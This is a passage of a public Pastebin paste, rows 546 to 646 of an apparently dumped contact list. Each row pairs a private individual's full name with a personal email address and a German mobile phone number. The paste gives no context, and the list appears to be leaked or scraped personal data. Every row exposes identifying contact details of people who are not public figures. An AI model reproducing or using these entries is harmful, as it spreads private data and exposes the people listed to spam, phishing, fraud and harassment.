  546. Britt,Bremer,hauswartservice-bremer@t-online.de,Germany,(49160) 530-9072
  547. Romy,Olczyk,Olczyk.romy@web.de,Germany,(49175) 197-4039
  548. Beate,Brunner,be-brunner@t-online.de,Germany,(4920) 562-8537
  549. Max,Berman,mackyjones@gmail.com,Germany,(491577) 729-0261
  550. Timo,Vock,timo.vock@gmail.com,Germany,(49178) 187-5240
  551. Karl- Heinz ,Belter ,karl-heinz-belter@t-online.de,Germany,(49366) 340-3179
  552. Anton,Nagy,tonio13@web.de,Germany,(49696) 530-1656
  553. Halil,Hajredini,halilhajredini@hotmail.de,Germany,(491609) 484-4694
  554. Patrick,Koopman,koopmanp@yahoo.com,Germany,(491511) 083-2740
  555. Thomas,Hynek,thomashynek29@yahoo.de,Germany,(491520) 884-6071
  556. Alexej,Maljas,alexej-maljas@live.com,Germany,(491515) 403-0806
  557. Arne,Schrey,schrey75@gnx.net,Germany,(491515) 984-3823
  558. Gerhard,Will,Roy-Rogers@t-online.de,Germany,(499383) 903-8762
  559. Egbert,Post,carshipcorp@gmail.com,Germany,(491765) 336-9743
  560. Reinhard,Pfeiffer,r.peiffer@tele2.de,Germany,(49357) 197-5000
  561. Ulrich,Schirpenbach,uli.schirpenbach@gmx.de,Germany,(49174) 207-0676
  562. Erika,Werner,erika.werner3110@t-online.de,Germany,(49160) 356-4306
  563. Michael,Kainz,milchkuh67@gmail.com,Germany,(491577) 493-4720
  564. peter,h.,peter@byom.de,Germany,(491234) 525-6695
  565. Heiko,Kubik,heiko0311@hotmail.de,Germany,(491522) 721-3671
  566. Nandor,Cernus,nandorcernus@t-online.de,Germany,(492104) 138-5910
  567. Frank,Zimmermann,fzm2000@web.de,Germany,(49178) 936-6933
  568. Janett,Roek,nette81@hotmail.de,Germany,(491522) 293-1596
  569. Ingo,Pavka,ingo.pavka@gmx.de,Germany,(49175) 202-8592
  570. Peter,Sommer,Exensommer@web.de,Germany,(491522) 766-1195
  571. Uwe,Krause,u.krause05@gmail.com,Germany,(491522) 928-3388
  572. Goscha,Muller,Schmidt.johann1986@web.de,Germany,(49174) 608-2087
  573. Bilstein,Struppek,bilsteinstruppek@outlook.com,Germany,(491512) 576-6113
  574. Susanne,Stuckert,susi.stuckert47@gmail.com,Germany,(491763) 017-2977
  575. Christos,Kotrotsios,chriscross72@web.de,Germany,ERR
  576. Robert ,Kress ,robertkress@gmx.de,Germany,(49171) 380-8757
  577. Bilgehan ,Bekki ,bilgehan_bekki@live.de,Germany,(49176) 471-6508
  578. Heinrich,Ditel,hdjobber@gmail.com,Germany,(497232) 308-0820
  579. Andy,Waclawczyk,pulpduisburg@gmx.de,Germany,(49160) 857-3872
  580. Nico,Flanz,n.mueller5@web.de,Germany,(49385) 488-5955
  581. Hermann,Schonrock,Hermannsch@gmx.de,Germany,(492091) 497-0409
  582. Thoralf,Backer,thoralf.baecker@web.de,Germany,(491512) 017-0064
  583. INGRID,TEWES,at-networking@web.de,Germany,(496343) 617-9284
  584. Petra,Stockdteher,petrastockdreher75@gmail.com,Germany,(49162) 825-4957
  585. Thomas,Kosziolleck,Thonet36@googlemail.com,Germany,(49175) 443-7482
  586. Tuschkowski,Yvonne,y.tuschkowski@web.de,Germany,(49177) 667-7799
  587. Juan Carlos,Schmidt Yanes,laeolicasalvaravidas@web.de,Germany,(491577) 851-6554
  588. Kurt,Kahlke,kahlke.spo@gmail.com,Germany,(49170) 937-2893
  589. Gerhard,Trefzer,ib.trefzer@web.de,Germany,(49781) 919-3194
  590. Sven Martin,Schmidt,svenms1981@gmail.com,Germany,(491590) 130-7890
  591. David,Brooks,david.brooks.trade@gmail.com,Germany,(491525) 195-2497
  592. Peter,Heinrich,Pero-2002tii@gmx.de,Germany,(491762) 769-2081
  593. Kerstin,Galander,mokka-mich-eisbar@t-online.de,Germany,(491577) 572-5993
  594. katja,schwalbe,philweisse@gmx.de,Germany,(49174) 589-2454
  595. Wolfgang Glock,Glock,thg-glock@t-online.de,Germany,(49171) 427-3706
  596. Arno,Preis,arnopreis54@gmail.com,Germany,(49171) 141-1271
  597. Volker,Lobbes,lobbes@hotmail.de,Germany,(491525) 341-4643
  598. Andreas,Wittmann,ultimate_post@yahoo.com,Germany,(49173) 716-1323
  599. Karin ,Jung,karl-jung52@hotmail.com,Germany,(491573) 170-2027
  600. hanspeter,kiendl,1965fm@web.de,Germany,(4994) 314-2811
  601. Kevin,Kretschmann ,kevin-kretschmann@web.de,Germany,(491573) 437-2831
  602. Otar,maisuradze,ota-mais@yandex.ru,Germany,(491766) 331-0359
  603. Marko,Anicic,anicic83@gmail.com,Germany,(491522) 467-8865
  604. Steffen,Nitzschner,nitzschner-sf@gmx.de,Germany,(49163) 735-8914
  605. Ralf,Slembek,ralf.slembek@online.de,Germany,(49170) 828-2217
  606. Dieter,Lasshofer,dlasshofer@arcor.de,Germany,(493615) 188-3600
  607. Florian,Wacker,wacker83193@gmail.com,Germany,(491525) 398-6938
  608. Alexander,Schirdewahn ,alexanderschirde@gmail.com,Germany,(491767) 267-6394
  609. Ralph,Hensel,ralph.hensel@gmx.de,Germany,(49359) 127-0573
  610. Thomas,Link,linktkh@o2online.de,Germany,(498519) 885-9901
  611. Angelika Fischer,Fischer,af1962@t-online.de,Germany,(492335) 844-7222
  612. Juergen,Zschech,jzschech@gmx.de,Germany,(49172) 707-0749
  613. Wolfgang,Westphal,stausee@gmx.de,Germany,(491762) 159-8065
  614. Darko,Bilav,nikolinabilav@icloud.com,Germany,(49163) 574-7412
  615. christian,eichhorn,eichel240@gmail.com,Germany,(49171) 622-5785
  616. manfred,back,meinback@ish.de,Germany,(491764) 336-7909
  617. Ekkehard,Westphal,ekkehardwestphal@gmx.de,Germany,(49422) 294-7553
  618. mayelin,Acosta,a_mayelin23@yahoo.com,Germany,(491512) 255-8380
  619. Wil,Thoms,w.thoms@web.de,Germany,(491051) 140-2342
  620. Uwe Sinn,Sinn,u.sinn@gmx.de,Germany,(4971) 342-2807
  621. David,Wei,weissdvd@gmail.com,Germany,(491523) 693-3722
  622. Christian,Hartmann,chrisnew2022@gmail.com,Germany,(49174) 763-4541
  623. Benjamin ,Sorg,sorg.benny@gmail.com,Germany,(49175) 783-1988
  624. Otto,Engel,ottoengel1987@gmail.com,Germany,(49160) 283-7724
  625. Justin ,Neuhaus ,Jneuhaus92@gmail.com,Germany,(49177) 186-8247
  626. alexander,tews,vip.tews@list.ru,Germany,(491762) 151-3131
  627. Ludwig,Scholl,schoell-osi@t-online.de,Germany,(49917) 996-3802
  628. Evita,Leonhardt,evita.leonhardt@icloud.com,Germany,(49) 847-3950
  629. werner,friedrich,friedschnurzel@freenet.de,Germany,(49332) 075-0878
  630. Andreas,Rippin,andreasrippin@hotmail.com,Germany,(491575) 409-8266
  631. thomas,Hanf,hanfthomas42@gmail.com,Germany,(491525) 698-6179
  632. Herro,Herin,Herro@mail.de,Germany,(4930) 241-5889
  633. michael,Belz,belzmichi@gmail.com,Germany,(49170) 303-1627
  634. Peggy,Mundt,peggymundt74.p.m@gmail.com,Germany,(49162) 872-7235
  635. Jens ,Schwieger ,jens-schwieger@web.de,Germany,(49174) 174-9935
  636. Lets ,Sell ,letssell123@gmx.de,Germany,(491522) 939-8382
  637. Stefan,Fust,info@elektro-fust.fe,Germany,(49171) 720-8113
  638. Werner,Herold,werner.herold@vkkl.de,Germany,(49171) 622-5785
  639. Kevin,Engler,kevin-engler@gmx.de,Germany,(49162) 746-3275
  640. Otto,Heise,otto_heise@web.de,Germany,(491523) 369-0995
  641. qadeer,javed,nehanqadeer2@gmail.com,Germany,(491521) 712-8881
  642. Zueleha,Lekesiz,lekesiz672@gmail.com,Germany,(49173) 734-6040
  643. Johann,Gruber,johanngruber@mail.de,Germany,(491522) 276-2116
  644. Ahmed,Krouma,afr2003k@freenet.de,Germany,(49219) 146-2516
  645. Julitta,karnagel,julittakarnagel@aol.com,Germany,(4915200) 684-2554
  646. Kevin,Kubler,masterKevin1991@web.de,Germany,(491522) 357-6491
RAW Paste Data
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!